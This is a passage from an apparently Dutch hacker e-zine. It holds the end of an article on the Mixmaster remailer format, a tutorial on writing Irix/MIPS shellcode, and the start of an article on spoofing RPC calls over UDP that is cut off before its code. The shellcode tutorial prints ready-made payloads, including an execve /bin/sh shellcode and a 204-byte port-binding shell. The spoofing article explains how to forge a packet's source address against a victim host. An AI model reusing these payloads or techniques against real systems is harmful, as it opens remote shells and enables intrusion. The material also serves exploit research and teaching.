Het resultaat van het algoritme is in ons geval dus een 4 maal versleutelde body
en 4 werkelijke headers die stuk voor stuk uitgepakt worden. De mixer gebruikt
de informatie om de rest van de headers en body te decrypten. Hierdoor komt een
gedeelte van de volgende header bloot te liggen, die weer gebruikt wordt door de
volgende mixer.
Rest mij nog te vertellen wat er nu in een body staat, omdat alleen de contents
van de body gebruikt worden om de uiteindelijke message naar de recipient te
sturen (hier is geen informatie over opgeslagen in de mixer header of email-
header).
Het ziet eruit als:
Aantal destination velden [1]. Aantal velden waaraan doorgestuurd moet worden.
Destination velden [80] per stuk.
Aantal header velden [1]. Aantal velden voor extra headers (subject, etc.).
Header velden [80] per stuk.
User data [ max. 2.5 MB ].
b.v.:
2recipient@test.com [padding met 0x00 tot 80]
recipient@somewhere.com [padding met 0x00 tot 80]
1Subject: test [padding met 0x00 tot 80]
Een destination veld hoeft niet een emailadres te bevatten, het volgende mag
ook:
null: (dummy message)
post: (newsgroup message)
post: [newsgroup] (newsgroup message)
[address] (email message)
De daadwerkelijke body kan verder nog in GZIP formaat gezipped worden om meer
tekst per partial kwijt te kunnen (mocht ~10K niet genoeg zijn).
Meer informatie over mixmasters:
www.cypherpunks.org
Versie 3 is nog niet volledig geaccepteerd. Deze tekst is gebaseerd op versie 2!
Chiraz
HNC Senior Developer
Chiraz@hack-net.com
-------------------------------------------------------
06. Writing Irix/MIPS shellcode
-------------------------------------------------------
Introductie
De laatste tijd hoor je veelal dingen over het CISC architecture(x86) en steeds minder over RISC.
Toch is deels RISC het type van de toekomst. Rond 2005 zal Intel hun 1e op RISC gebaseerde processor
releasen. Dus heb ik besloten hier een tekst aan te wijten en dan wel over het schrijven van
shellcode in de combinatie van een MIPS processor en het IRIX 6.X besturingssysteem.
Het schrijven van assembly in deze combinatie is een klein stukje anders dat het schrijven van
normale x86 assembly, waar ik later in dit artikel op zal ingaan. Maar voordat we beginnen met mips
assembly/shellcode zal ik eerst het 1 en ander vertellen over de processor.
De historie van de MIPS processor
De 1e MIPS processor werd in 1984 ontwikkeld op de Stanford University. De ontwikkeling ging erg
snel en in 1991 was haar 1e doorbraak, de R4000. Deze had ondersteuning voor 64 bits registers en
hoge klok frequenties.
Latere processors waren de R4400, R4600 and R4300. Deze werden gemaakt in de jaren 1993 tot 1996. Ze
waren allen gebaseerd op het succesvolle model R4000.
IN 1996 en volgende jaren werden de R10000 en de R5000 processor nog ontwikkeld. Deze waren vooral
ontwikkeld voor hoge snelheid en weinig stroomverbruik. De R5000 was daarbij nog extra ontwikkeld
voor het sneller verwerken van grafische toepassingen.
De meest recente processors ontwikkeld, de R12000 en de R14000 bevatten niet echt nieuwe technieken
maar zijn simpelweg sneller gemaakt. Hierbij kun je denken aan een hogere klok frequentie en sneller
geheugen. Er zijn plannen voor een nieuwer complexere processor die R8000 moet gaan heten. Maar wat
hiervan precies de revolutie is, is nog niet bekend.
Beknopte interne werking MIPS processor
Wat opvalt bij de mips instructie set is dat er in verhouding met de instructie sets van de x86 er
maar weinig instructies zijn. Ook valt op dat alle instructies 32 bits zijn. Terwijl die van de x86
verschillen van 2 t/m 17 bits. Doordat we maar weinig instructies tot ons beschikbaar hebben zullen
we in veel gevallen langere code krijgen om iets gedaan te krijgen dan op de x86. Dit maakt
overigens de code niet langzamer doordat de instructies eenvoudiger zijn en parallel kunnen worden
gebruikt. En omdat ze allen 32 bits zijn kunnen ze makkelijker door de processor worden
geïnterpreteerd en kan pipelining volledig effectief worden toegepast.
De processor verwerkt 5 instructies tegelijk en elke instructie wordt onderverdeeld in 5 stages:
- Verkrijg instructie uit het geheugen
- Lees registers en decode instructie
- Voer de instructie uit
- Verkrijg toegang tot de operand
- Schrijf de resultaten weg in registers
Het Branch Delay Slot
Voordat we het gaan hebben over het branch delay slot ga ik eerst even in op een aantal
eigenschappen van de processor om sneller te kunnen werken. Een processor kan meerdere dingen
tegelijk doen en dit noemt men
pipelining. Om het makkelijk uit te leggen, een sociaal voorbeeld:
Stel dat je 3 verschillende soorten kleding hebt. Je kunt dan eerst 1 soort kleding in de was doen,
dan in de droger en dan gaan strijken. Om vervolgens daarna te gaan beginnen aan het 2e soort
kleding. Dit is niet erg efficiënt. Een betere oplossing is om het 2e soort kleding meteen in de was
te doen als de 1e soort klaar is en in de droger zit. Vervolgens als deze klaar zijn kun je het 1e
soort kleding aan strijken, de 2e soort in de droger doen en de 3e soort in de was. Dit zal veel
tijd besparen.
Op deze manier werkt pipelining in de processor ook. Zoals hierboven reeds gezegd worden er 5
instructies tegelijk verwerkt en word elke instructie weer onderverdeeld in 5 stages. Dit kan gewoon
goed werken met pipelining, totdat je een instructie als een branch krijgt. Dan hangt de instructie
die de processor na de branch moet uitvoeren van de uitkomst af. Om hier efficiënt mee om te gaan
bestaat het zogenaamde branch delay slot. Deze bevat een instructie die niks met de branch te maken
heeft en sowieso moet worden uitgevoerd.
Voorbeeld:
add $t0,$t1,$t2
bne $t6,$t7,noot
/---------------\
| B.D SLOT |
\---------------/
noot:
Bij dit stukje code zal "add $t0,$t1,$t2" in het branch delay slot komen. Omdat
deze sowieso moet worden uitgevoerd en de registers niet nodig zijn door de
branch instructie.
bne $t6,$t7,noot
/---------------\
|add $t0,$t1,$t2|
\---------------/
De MIPS Registers
Zoals eerder vermeld bevat de MIPS processor 32 registers. Hieronder staan eerst de symbolische
namen en daarna de register nummers zelf:
$s0 - $s7($16 - $23):
Dit zijn globale registers. Als je een functie hebt waarin je deze registers gebruikt kan je de
huidige waardes beter eerst opslaan door ze op de stack te zetten en aan het eind van je functie
weer terug te halen.
$t0 - $t9($8 - $15):
Dit zijn de tempory registers. Deze mag je in je eigen functie altijd gewoon overschrijven zonder ze
op te slaan.
$a0 - $a3($4 - $7):
Deze registers worden als argumenten gebruikt voor syscalls. Als je bijv een socket wil aanvragen
zou je AF_INET in $a0 zetten, SOCK_STREAM in $a1 etc.
$v0 - $v1($2 - $3):
Word gebruikt voor de return values van je functie.
En een aantal alternatieve registers:
$zero($0) -> dit register bevat altijd nul. Handig voor het maken van
vergelijkingen.
$sp($29) -> stack-pointer
$fp($30) -> frame-pointer
$gp($28) -> global-pointer. Wijst midden in .data. Handig om variabelen etc.
in .data te adresseren.
$at($1) -> word door de assembler gebruikt om lange constante waarden vast
te houden.
De MIPS instructie set
Hieronder volgt een lijst van instructies die je waarschijnlijk het vaakst zal gaan gebruiken
wanneer je shellcode schrijft. Als je geïnteresseerd bent in meerdere instructies zou je even bij de
referenties onder aan dit artikel kunnen kijken. Wat identiek is aan de MIPS instructies is, is dat
er veeal 3 operands worden gebruikt. Hierdoor kun je complexer te werk gaan:
li dest,source // laad immediate
lw dest,source // laad word
sw source,dest // schrijf word in geheugen
lh dest,source // laad half-word
and dest,source1,source2 // logical and (&)
or dest,source1,source2 // logical or (|)
nor dest,source1,source2 // logical not or (~|)
xor dest,source,source2 // logical xor
xori dest,source,waarde // logical xor immediate
add dest,source1,source2 // :>
sub dest,source1,source2 // :>
addu dest,source1,source2 // add unsigned
subu dest,source1,source2 // substract unsigned
bne source1,source2,DEST // branch not equal(!=) then jmp DEST
beq source1,source2,DEST // branch equal(==) then jmp DEST
bgez source,DEST // branch greater/equal zero (>=0) then jmp DEST
bgtz source,DEST // branch greater zero(>0) then jmp DEST
bltz source,DEST // branch less/equal zero(<=0) then jmp DEST
bltzal source,OFFSET // branch less/queal zero(<=0) then jmp OFFSET
slt dest,source1,source2 // set dest=1 if source1 < source2
slti dest,source1,source2 // set dest=1 if source1 < source2 source2 = immediate
sltiu dest,source1,source2 // set dest=1 if source1 < source2 source2 = unsigned immediate
j DEST // jump to DEST(symbolic)
jr DEST // jump to DEST(adress)
jal DEST // jump to DEST en save pc(program counter)+4 in $ra
syscall // system call
Het opstellen van een simpele instructie in shellcode
Een normale MIPS instructie zou er ongeveer als 0xe83cfffd kunnen uitzien. Om een shellcode op te
kunnen stellen moeten we eerst nog wat meer gedetailleerder informatie verwerken.
Voor elke soort instructie is er een ander formaat om aan de eisen van de functie te kunnen voldoen.
De formaten luiden als volgt:
R-Formaat:
/-----------------------------------------\
| OP | RS | RT | RD | SHAMT | SUBOP |
|-----------------------------------------|
| 6 | 5 | 5 | 5 | 5 | 6 |
\-----------------------------------------/
OP= Opcode van de functie
RS= Het 1e source register
RT= Het 2e source register
RD= Het destination register
SHAMT= Shift amount
SUBOP= Sub-opcode voor bijbehorende functie
De nummers vertegenwoordigen het aantal bits wat elke optie reserveert. Dit formaat wordt voor
arethmetic gebruikt(add,sub etc..).
I-Formaat:
/-----------------------------------------\
| OP | RS | RT | ADRESS |
|-----------------------------------------|
| 6 | 5 | 5 | 16 |
\-----------------------------------------/
ADRESS = De offset naar een blok code.
RT neemt hier de functie van het destination register(RD) over! Word veelal gebruikt bij het ophalen
/ schrijven van data uit / in geheugen(lw etc..) en het laden van grote getallen in een register
zoals met bijvoorbeeld de instructie 'li'.
J-Formaat:
/-----------------------------------------\
| OP | ADRESS |
|-----------------------------------------|
| 6 | 26 |
\-----------------------------------------/
Formaat dat wordt gebruikt bij Jumps.
Nu we dit weten kunnen we een instructie in shellcode gaan schrijven.
Voorbeeld:
li $a6,1337
We gebruiken hiervoor het I-formaat en dit word als volgt ingevuld:
/-----------------------------------------\
| 9 | 0 | 22 | 1337 |
\-----------------------------------------/
in binary:
001001 00000 10101 0001 0011 0011 0111
Omdat de shellcode in hex is zullen we de 32 bytes nog moeten onderverdelen in 8 groepjes van 4 bits
die elk een character zullen vormen.
0010 0100 0000 1011 0001 0011 0011 0111
oftewel:
0x240b1337 :-)
Benodigde constructies & null-bytes voorkomen
1 van de meest belangrijke dingen wanneer men shellcode schrijft is het verkrijgen van het huidige
adres om daarna offsets te gaan gebruiken in je shellcode zodat het system independant is. Hierboven
is al beknopt
de werking uitgelegd van het branch delay slot en dit is ook hetgeen wat we gebruiken om het huidige
adres te verkrijgen.
Aanschouw het volgende stukje code:
li t1, -0x1985 /* zorg ervoor dat t1< 0 is */
boom: bltzal t1, boom /* branch $ra(boom) wanneer t1<0 */
slti t1, zero, -1 /* t1 word 0 */
mus:
Wanneer de branch instructie wordt geïnterpreteerd komt de slti in het branch delay slot. Zoals
eerder vermeld wijst $ra naar de instructie achter het branch delay slot, oftewel naar mus :-).
Null-bytes worden vooral veroorzaakt wanneer je getallen < 256 naar registers wilt plaatsen. Om deze
te voorkomen zijn er een aantal simpele trucs. Het meest simpele is slti gebruiken om een 0 of een 1
in een register te zetten. Voor de andere 254 getallen kun je het volgende algoritme gebruiken:
li $t5,-0x1338
not $t4,$t5
Nu bevat $t4 0x1337 zonder dat je null-bytes in je shellcode krijgt :-). Als je het niet vat moet je
maar eens zoeken op "two's complement system".
Je zou ook 0x100 kunnen optellen en even later in je code er weer afhalen om hetzelfde effect te
krijgen. Dit zullen we in de voorbeelden bij dit artikel terugvinden.
Als laatste een truc om de move functie na te bootsen. Je kunt een andi met 0xffff als immediate en
op deze manier simpel een getal kopieren.
Voor de rest zou je er redelijk moeten uitkomen om alle null-bytes te verwijderen. Je zult zien dat
je instructies veelal moet verplaatsen met andere instructies die simpelweg hetzelfde doen maar niet
zorgen voor null-bytes.
Sockets & MIPS/IRIX
Sockets schrijven in MIPS/IRIX assembly is niet moeilijk. Dit komt vooral doordat we genoeg
registers tot ons beschikbaar hebben die alle haar eigen functie hebben en wij eigenlijk alleen maar
hoeven in te vullen om vervolgens een system call te doen. Of de functie succesvol is uitgevoerd kun
je na elke aanroep checken door a3 te vergelijken met 0.
Hier komen de meest gebruikte functies:
<-- socket(a0,a1,a2) -->
v0 = SYS_socket = 0x0453
a0 = domain
a1 = type
a2 = protocol.
v0 = nieuwe socket file descriptor
<-- bind(a0,a1,a2) -->
a0 = sockfd
a1 = (struct sockaddr *)myhost
a2 = sizeof(myhost)
v0 = SYS_bind = 0x0442
<-- connect(a0,a1,a2) -->
a0 = socket file descriptor
a1 = &struct sockaddr *
a2 = 16(sizeof(struct sockaddr_in))
<-- write(a0,a1,a2) -->
a0 = file descriptor
a1 = &buffer
a2 = sizeof(buffer)
v0 = SYS_write = 0x03ec
v0 = aantal bytes wat succesvol is geschreven.
<-- read(a0,a1,a2) -->
a0 = file descriptor
a1 = &buffer
a2 = max. aantal bytes dat gelezen moet worden.
v0 = SYS_read = 0x03eb
v0 = aantal bytes wat succesvol is gelezen
<-- accept(a0,a1,a2) -->
a0 = socket file descriptor
a1 = &(struct sockaddr *)
a2 = 16(sizeof(struct sockaddr_in))
v0 = SYS_accept = 0x0441
v0 = nieuwe socket
<-- close(a0) -->
a0 = file descriptor
a1 = SYS_close = 0x03ee
<-- execve(a0,a1,a2) -->
a0 = filename
a1 = argv[]
a2 = envp[]
v0 = SYS_execve = 0x0423
<-- fcntl(a0,a1,a2) -->
a0 = file descriptor
a1 = cmd
a2 = argument wanneer nodig
v0 = SYS_fcntl = 0x0426
<-- fork() -->
v0 = SYS_fork = 0x03ea
<-- listen(a0,a1) -->
a0 = socket file descriptor
a1 = backlog
v0 = SYS_listen = 0x0448
Er is geen dup2() geimplanteerd dus om deze na te bootsen gebruiken we simpel:
dup2(aap1,aap2);
close(aap2);
fcntl(aap1,F_DUPFD, aap2);
Dit komt op hetzelfde neer behalve de error checking.
Voorbeeld Shellcodes
En tot slot een aantal eigen gemaakte shellcodes. Je zou als oefening proberen te gaan afleiden hoe
de shellcode tot stand is gekomen en wat de opcodes zijn van de gebruikte instructies. Je komt er
vast wel uit.
/** 52 byte execve PIC MIPS/IRIX shellcode **/
/** **/
unsigned int execshell[] = {
0xafa0fffc, // sw zero, -4($sp)
0x0410ffff, // foo: bltzal $zero, $foo
0x8fa6fffc, // lw $a2, -4($sp)
0x241fffdb, // li $ra,-41
0x03e0f827, // nor $ra,$ra,$zero
0x33e4ffff, // andi $a0,$ra,0xffff
0x701ffffe, // sb $zero, -(1)($ra)
0xafa4fff8, // sw $a0, -8($sp)
0x20bffff8, // addi $a1, $sp, -8
0x24020423, // li v0, SYS_execve
0x0101010c, // syscall
0x2f62696e, // .ascii "/bin"
0x2f736841 // .ascii "/sh", .byte 0x41 (dummy)
};
/** 20 byte exit(1) PIC MIPS/IRIX shellcode **/
/** **/
unsigned int exit[] = {
0x2804fffe, // slti a0,zero,-1
0x241603e8, // li s6, 0x03e8
0x22c2fc22, // addi v0,s6,-0x1ff6 syscall = 10
0x0101010c, // syscall
0x240d4141 // li t7,0x4141 (NOP)
};
/** 204 byte portbinding PIC MIPS/IRIX shellcode **/
/** **/
unsigned int bindshell[] = {
0x241607d0, // li s6, 0x07d0
0x22c4f832, // addi a0,s6,-0x1998 af_inet = 2
0x22c5f832, // addi a1,s6,-0x1998 sock_stream = 2
0x22c6f838, // a2,s6,-0x1992 tcp = 6
0x24020453, // li v0,0x0453
0x0101010c, // syscall
0x3044ffff, // andi a0, v0, 0xffff
/* build struct sockaddr_in
* 0x0002port 0x00000000 0x00000000 0x00000000
*/
0x22caf832, // addi t2,s6,-0x1998
0xa7eafff0, // sh t2, -16(sp)
0x240a4141, // li t2, 0x4141 /* t2 = port number */
0xa7eafff2, // sh t2, -14(sp)
0xab1ffff4, // sw zero, -12(sp)
0xab1ffff8, // sw zero, -8(sp)
0x1abffffc, // sw zero, -4(sp)
0x22a6f840, // addi a2,s6,-0x07c0
0x03e62817, // subu a1, sp, a2 /* a1 = (struct sockaddr *) */
0x24020442, // li v0, SYS_bind
0x0101010c, // syscall
0x22a5f840, // addi a1,s6,-0x07c0
0x24020448, // li v0, SYS_listen
0x0101010c, // syscall
0xafe6ffec, // sw a2, -20(sp)
0x23ebffec, // addi a2, sp, -20 /* a2 = &socklen */
0x24020441, // li v0, SYS_accept
0x0101010c, // syscall
0x22d3bce2, // addi s3, s6, -0x431e /* s3 = 0x3032 (0x3030 = dummy, 0x0002
= STDERR_FILENO) */
0x3057ffff, // andi s7, v0, 0xffff
0x240effff, // li t8, -1
0x05d0ffff, // boom: bltzal t8, boom
0x280effff, // slti t8, zero, -1 /* t8 = 0 (see below) */
0x32640103, // andi a0, s3, 0x0103 /* a0 = STD*_FILENO */
0x240203ee, // li v0, SYS_close
0x0101010c, // syscall
0x32e4ffff, // andi a0, s7, 0xffff /* a0 = socket */
0x2805ffff, // slti a1, zero, -1 /* a1 = 0 */
0x32660103, // andi a2, s3, 0x0103 /* a2 = STD*_FILENO */
0x24020426, // li v0, SYS_fcntl /* 0x0426 */
0x0101010c, // syscall
0x2013efef, // addi s3, -0x1011
0x0661ffde, // bgez s3, -34(offset to boom:)
0x1abffffc, // sw zero, -4(sp)
/* a2 (envp) is already zero due to the dup_loop
*/
0x040affff, // noot: bltzal zero, noot
0x23e5fff8, // addi a1, sp, -8
/* ra contains the proper address now */
0x23ff0120, // addi ra, ra, 0x0120 /* add 32 + 0x0100 */
0x23e4fef8, // addi a0, ra, -(8 + 0x100)
0xc01ffeff, // zero, -(1 + 0x100)(ra) /* store NUL */
0xafa4fff8, // sw a0, -8(sp)
0x24020423, // li v0, SYS_execve
0x0101010c, // syscall
0x2f62696e, // .ascii "/bin"
0x2f736841 // .ascii "/sh", .byte 0x41 (dummy)
};
References
scut on mips/irix shellcode - http://www.phrack.org/phrack/56/p56-0x0f
Homepage of SGI - http://www.sgi.com
Homepage of MIPS - http://www.mips.com
Computer Organization & Design - ISBN: 1558604286
Credits
Als eerste wil ik graag atje bedanken voor het lenen van zijn boek(zie hierboven) wat me hiermee op
weg hielp.
Verder wil ik scut nog bedanken om zijn tips en altijd boeiende discussies ;). En als laatste nog
Laurens voor het hosten van onze bestanden. En natuurlijk onze andere teamleden ook voor de altijd
interessante discussies.
Outroductie
Bedankt voor het lezen van mijn artikel over MIPS shellcoding. Voor vragen en suggesties kun je me
bereiken op ntronic@netric.org. Verder sta ik ook altijd open voor dingen op #netric@irc.netric.org.
-------------------------------------------------------
07. Rpc spoofen
-------------------------------------------------------
Introductie
De reden waarom ik dit schrijf, is omdat ik onlangs een applicatie heb geschreven over rpc, en me
afvroeg wat voor dingen je allemaal kan uitsteken met rpc. JimJones heeft hier een heel goede paper
over geschreven [1], maar hij is te veel gericht op het gebruik van de rpc api's in c. Voor die
reden ben ik hieraan begonnen.
Het verloop van deze tekst is als volgt :
- minimale Uitleg over ip
- minimale uitleg over udp
- uitleggen wat spoofen is
- uitleggen wat rpc is en waar het voor dient
- uitleggen wat xdr is en waarom dit belangrijk is voor rpc
- alles aan elkaar plakken
- proof of concept code
Bij elk deel dat ik behandel, ga ik eerst altijd een deel theorie geven, en dan wat snifflogs of wat
ASCII arts, om dit te verduidelijken.
IP
Ip staat voor Internet Protocol, en is een van de vele protocollen die in tcp/ip zitten, tcp/ip
wordt gebruikt voor om het even welk computer systeem met om het even welk os in een netwerk te
laten werken met een andere computer die al dan niet dezelfde architectuur en os heeft. Deze
computers communiceren dus. Communicatie kan ingedeeld worden in lagen, deze zijn :
+--------------------+
| Application layer |
+--------------------+ ===> Dit model noemt men het OSI model
| Presentation layer | (Open Systems Interconnection)
+--------------------+
| Session layer |
+--------------------+
| transport layer |
+--------------------+
| Network layer | ===> Hier bevindt zich IP (deze laag is ook gekend
+--------------------+ als de 3de layer)
| (data)link layer |
+--------------------+
| Physical layer |
+--------------------+
Met de IP header te lezen kan men zien van wie een pakketje komt, en voor wie het bestemd is, er
staat ook nog wat info in die header over hoe groot je pakket is, een checksum, ... , de volgende
ASCII tekening illustreert dit:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
deze tekening is gehaald uit rfc 791.
Ik zal even kort uitleggen voor wat deze velden allemaal dienen, maar ga niet veel verder in op IP,
alleen op die velden die we nodig hebben voor te spoofen.
Version:
dit veld is een halve byte groot (4 bits) en bevat de versie van het IP, momenteel zit men aan IP
versie 4, dus dit veld heeft de waarde 4 (0100)
IHL:
Of Ip Header Length, dit veld bevat de lengte van de ip header (per 4 bytes) gezien een ip header in
de meeste gevallen 20 bytes is (tenzij je een aantal van de opties gebruikt), heeft dit veld de
waarde 5 (5 * 4 = 20) (0101)
Type of Service:
Dit veld is 1 byte groot de type van service, het is niet echt belangrijk bij rpc spoofen, dus ik ga
hier
geen uitleg bij geven, geef dit gewoon de waarde 0 (00000000)
Total length:
Dit is de totale lengte van de IP datagram, dat wil zeggen dat dit veld de lengte bevat van de IP
header, de UDP header (die we straks gaan zien) en de data die we in deze datagram stoppen. Dit veld
is 2 bytes groot.
Identification:
Dit is een identificatie voor je IP header, als je gefragmenteerde pakketten gaat sturen, wat we
niet
gaan doen!, dus is dit niet belangrijk hier. Dit veld is 2 bytes groot.
Flags:
Dit is ook voor gefragmenteerde pakketten, en heeft niet veel belang in deze tekst. dit veld is 3
bits
groot
Fragment offset:
Dit is nog een veld voor gefragmenteerde pakketten, en ga ik dus ook niet uitleggen. dit veld is 13
bits
groot.
Time to Live:
Dit veld is 1 byte groot, en bevat een standaard waarde (64 of 128 of nog een andere waarde) elke
keer dit pakket voorbij een router gaat, wordt hier 1 van afgetrokken, als deze waarde 0 is, wordt
het
pakketje genegeerd. Dit is om te vermijden dat dit pakket eeuwig geroute wordt.
Protocol:
Hierin wordt het protocol nummer van het protocol dat wordt gebruikt in de transport layer,
gezien we
in deze tekst alleen met UDP gaan werken, zal dit veld de waarde 6 krijgen (00000110).
Header Checksum:
in dit veld staat een getal, dit komt overeen met de gehele IP header berekend volgens een zeker
algoritme. Deze checksum is er om te zien dat er nergens een fout zit in de IP header.
Source address:
hierin staat het IP adres van de afzender, dit veld is van GROOT belang bij IP spoofen, hier komen
we
later nog op terug. Dit veld is 4 bytes groot.
Destination Address:
Hierin bevind zich het adres van de ontvanger, dit veld is eveneens 4 bytes groot.
Options:
Hier kan je een boel verschillende options in zetten, die niet echt belangrijk zijn bij spoofen, dus
zal ik
hier niet verder op ingaan. De lengte van dit veld is variabel.
Padding:
Dit wordt alleen gebruikt als de lengte van de options (in bytes) niet deelbaar is door 4, omdat de
IP
header altijd een lengte (in bytes) heeft die deelbaar is door 4. Dit is dus gewoon "opvulsel", het
vult
datagram op met x aantal 0 bits.
Dit is IP in een notendop, een groot aantal dingen zijn hier maar gedeeltelijk of zelfs niet
verklaard. Als je meer wil weten kan je best [2] en [3] lezen.
udp
Udp is een zeer simpel protocol, dus er zal niet veel tekst vervuild worden om dit uit te leggen,
wil je toch wat meer weten over udp, dan wordt je aangeraden de volgende lectuur te lezen: [3] en
[4].
een UDP header ziet er als volgt uit:
0 7 8 15 16 23 24 31
+--------+--------+--------+--------+
| Source | Destination |
| Port | Port |
+--------+--------+--------+--------+
| | |
| Length | Checksum |
+--------+--------+--------+--------+
|
| data octets ...
+---------------- ...
deze tekening is gehaald uit rfc 768.
hieronder vind je de verklaring van deze velden:
Source port:
Dit is de poort van de afzender, die nodig is voor als er pakketjes worden terug gestuurd, gezien
deze
tekst gaat over spoofen, is dit veld van weinig belang hier. (2 bytes groot)
Destination port:
Dit is de poort van de ontvanger. In ons geval zal hier een rpc service op draaien, dit veld is
eveneens
2 bytes groot.
Length:
Hierin bevind zich de lengte van de udp datagram + de lengte van je data, dit veld is ook 2 bytes
groot
Checksum: Zie IP
Zo, dit was: "UDP in een notendop".
Wat is Spoofen ?
Spoofen wil zeggen dat diegene die je spoofed pakket aankrijgt, denkt dat dit van iemand anders
komt. Er zijn 2 soorten spoofen, Blind Spoofinig en non-blind spoofing.
Blind spoofing wil zeggen dat je wel pakketten verstuurt, maar er nooit terug krijgt dit is omdat de
ontvanger van je spoofed pakket, pakketten zal terug sturen naar het adres dat je gespoofed hebt.
Bij non-blind spoofing gebeurt exact hetzelfde als bij blind spoofing, maar hier kan je de pakketten
die worden terug gestuurd sniffen.
Als je wilt spoofen op internet, ga je meestal Blind spoofen, omdat het vrij moeilijk is het netwerk
verkeer te sniffen van de ontvanger. bij IP spoofen, zijn er 2 protocollen die kunnen gebruikt
worden (die zich in de transport layer bevinden), dit zijn udp en tcp. udp is VÉÉL gemakkelijker te
spoofen dan tcp, omdat tcp werkt met zogenaamde "Sequence numbers", dit zijn random nummers die door
de ontvanger worden gegenereerd, en je moet deze dan optellen met 1 en terug sturen. Dit is niet het
geval bij udp. Als je de moeilijkheidsgraad van udp en tcp spoofen met elkaar zou vergelijken in
gewicht dan "weegt" udp spoofen zoveel als 'n pluim,
en tcp spoofen ongeveer zoveel als een volwassen olifant. Als je meer wil weten over tcp spoofen,
moet je [5] en [6] eens lezen.
Voor de boven vernoemde redenen beperken we ons tot udp. Toch nog even vermelden dat sommige isp's
NIET toelaten om te spoofen, (in geval je de poc code onderaan eens wil testen).
Hoe spoof ik?
Als je de IP header nog eens beziet (die hierboven staat) zie je dat er een veld is waar het source
address instaat (4 bytes), al wat je eigenlijk moet doen om te spoofen is dit adres veranderen naar
een ander adres. Als je ontvanger dan je pakket ontvangt, denkt hij dat dit van dat adres komt, en
niet van jou. Ik zal een praktisch voorbeeld geven, stel je wilt computer 198.116.142.34 exploiten,
en je eigen IP adres is 212.239.200.54, maar je wil dat 198.116.142.34 denkt dat je pakketten van
208.47.125.33 komen:
+----------------+
| 212.239.200.54 |
| doet zich voor |------\
| als | \ (1)
| 208.47.125.33 | \---->-----
+----------------+ \
+----------------+
| 198.116.142.34 | (2)
| ons slachtoffer|
+----------------+
/
+----------------+ (3) /
| 208.47.125.33 |---------<-------/
| we doen ons |
| voor als deze |
| host |
+----------------+
(1) We versturen ons spoofed pakket met als source address : 208.47.125.33
(2) 198.116.142.34 verwerkt ons pakket en denkt dat dit van 208.47.125.33 komt
(3) Indien 198.116.142.34 een reply terug stuurt, stuurt hij dit naar
208.47.125.33
Wat er hierna misschien nog kan gebeuren is dat 208.47.125.33 niets weet van dit pakket en dat er
een port unreachable icmp ofzo wordt terug gestuurd naar 198.116.142.34, maar dit is niet echt
belangrijk om te weten (in deze context).
RPC ?? RPwat ?
RPC staat voor remote procedure call, dit is een protocol dat je toelaat verschillende versies van 1
serverprogramma te gebruiken. Het werkt ook *iets* anders als normale client-server systemen. Je
stuurt elke keer een rpc call naar de server, waarin staat welke versie en functie (of procedure) in
deze deamon die je wilt gebruiken, op zo een rpc call volgt altijd een rpc reply, die je dan de
resultaten geeft van wat je hebt gevraagd. Omdat we blind spoofen en dus niets terug krijgen van de
server, is de uitleg van een rpc reply hier niet relevant, er zijn 2 soorten rpc:
ONC RPC (Open Network Computing) of ook wel SunRPC genoemd (omdat dit ontworpen is door de mensen
van Sun Microsystems)
DCE RPC (Distributed Computing Environment) Dit is de RPC implementatie van de Open Source
Foundation.
Alleen ONC RPC zal hier besproken worden, omdat deze het meest gebruikt wordt.
RPC is dus WEERAL een header erbij. Deze bevindt zich in het begin van de udp data en ziet er als
volgt uit:
0 1 2 3
+--------------+
| XID |
+--------------+
| Call |
+--------------+
| RPC versie |
+--------------+
|programma nr. |
+--------------+
| Versie nr. |
+--------------+
|Procedure nr. |
+--------------+
| Cred. |
| |
+--------------+
| Verifier |
| |
+--------------+
| data die bij |
| je parameter |
| hoort ... |
+--------------+
zoals voordien zal ik deze velden even kort introduceren:
XID:
Het idnummer van je pakket, dit is belangrijk, voor onder andere 'retransmission' bij udp, en om je
rpc
pakket een uniek nummer te geven.
Call:
Dit veld verteld aan de server dat het een call is, en bevat de waarde 0.
RPC versie:
Dit is de versie van SunRPC zelf, momenteel zit men aan versie 2, dus dit veld met het nummer 2
bevatten.
Programma nummer:
Dit is het programma dat je aanroept, elk RPC programma heeft zijn eigen nummer, zo heeft de
portmapper nummer 100000, en PCNFS heeft het nummer 150001.
Versie nummer:
Dit is de versie van een zeker programma dat je wilt aanroepen, als je bijvoorbeeld NFS wilt
gebruiken,
met versie nummer 3, dan vul je 3 in dit veld in.
Procedure nummer:
Hiermee zeg je welke procedure je wilt aanroepen, als je bijvoorbeeld de READ procedure wilt
aanroepen bij NFS (=5) wilt aanroepen, vul je in dit veld 5 in.
Credentials:
In dit veld wordt soms server specifieke data in gestopt, waaraan de server beslist of het je call
verwerkt of niet. De lengte van de Credentials kunnen 8 tot 408 bytes zijn .Dit veld is niet
relevant in
deze tekst, en zal hier 0 zijn.
Verifier:
Dit wordt gebruikt bij secure RPC en is volgens een zeker encryptie algoritme ge-encrypteerd. De
lengte van de Verifier kan 8 tot 408 bytes zijn. Dit veld is nutteloos in deze tekst, en zal dus 0
zijn.
Een RPC header moet in lengte ook ALTIJD deelbaar zijn door 4 (in bytes) indien dit niet het geval
is, moet je ook padding toepassen.
Hier is ZEKER niet alles gezegd over RPC, maar met deze kennis heb je genoeg om te kunnen volgen,
indien je meer over RPC wilt weten, raad ik je aan om [3], [7] ,[8] en [10] te lezen, de RPC(3N)
